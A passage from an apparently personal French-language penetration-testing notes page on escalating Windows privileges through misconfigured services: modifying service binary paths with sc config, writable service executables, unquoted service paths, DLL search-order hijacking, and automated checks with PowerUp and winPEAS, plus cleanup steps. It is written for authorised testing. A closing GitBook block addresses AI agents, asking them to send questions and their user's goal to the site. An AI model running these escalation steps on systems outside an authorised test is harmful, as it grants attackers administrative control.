> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Mauvaises configurations des services Windows

Les services sont l’une des voies d’élévation de privilèges Windows les plus courantes, car ils s’exécutent souvent en tant que `LocalSystem` tout en pointant vers des fichiers ou des autorisations que les utilisateurs normaux peuvent influencer.

## Ce qu’il faut confirmer

Avant de modifier quoi que ce soit, confirmez quatre points :

* Le service s’exécute sous un compte privilégié tel que `LocalSystem`, `LocalService`, `NetworkService`, ou un administrateur local/de domaine.
* Vous pouvez modifier la configuration du service, l’exécutable du service, ou un chemin parent utilisé au démarrage.
* Vous pouvez redémarrer le service, déclencher l’application, ou attendre un redémarrage.
* Le chemin et l’architecture correspondent à la charge utile ou au binaire de validation que vous prévoyez d’exécuter.

## Énumérer les services

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## Configuration de service faible

Si votre utilisateur peut modifier le chemin binaire du service et que le service s’exécute avec des privilèges élevés, pointez-le d’abord vers une commande de validation autorisée.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk est utile pour lire les autorisations de service dans un format plus clair :

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

Les droits intéressants incluent `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`et un accès en écriture étendu pour `Utilisateurs`, `Authenticated Users`, ou `Everyone`.

## Binaire de service inscriptible

Si l’exécutable du service est inscriptible, conservez une copie du fichier original, remplacez-le uniquement dans le périmètre du test, puis restaurez-le après vérification.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## Chemin de service non entre guillemets

Un chemin non entre guillemets est intéressant lorsqu’il contient des espaces et que Windows peut rechercher un répertoire parent inscriptible avant d’atteindre le véritable exécutable.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

Exemple de forme vulnérable :

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

Vérifiez les autorisations d’écriture de chaque répertoire parent :

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

Les noms potentiellement recherchés incluent :

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## Problèmes d’ordre de recherche des DLL

Certains services chargent des DLL par nom plutôt que par chemin complet. Cela devient exploitable lorsqu’un répertoire inscriptible est recherché avant l’emplacement légitime de la DLL.

```cmd
procmon.exe
```

Filtrer pour :

```
Nom du processus est <service.exe>
Le résultat est NAME NOT FOUND
Le chemin se termine par .dll
```

## Vérifications automatisées

```powershell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## Nettoyage

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## Points clés

* Un service inscriptible n’est utile que s’il s’exécute avec des privilèges supérieurs.
* La possibilité de redémarrer est importante. Sans elle, notez si un redémarrage ou l’utilisation de l’application déclenchera le service.
* Les constats sur le chemin du service doivent inclure le chemin exact, les preuves d’autorisations, le compte de service et la condition de déclenchement.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
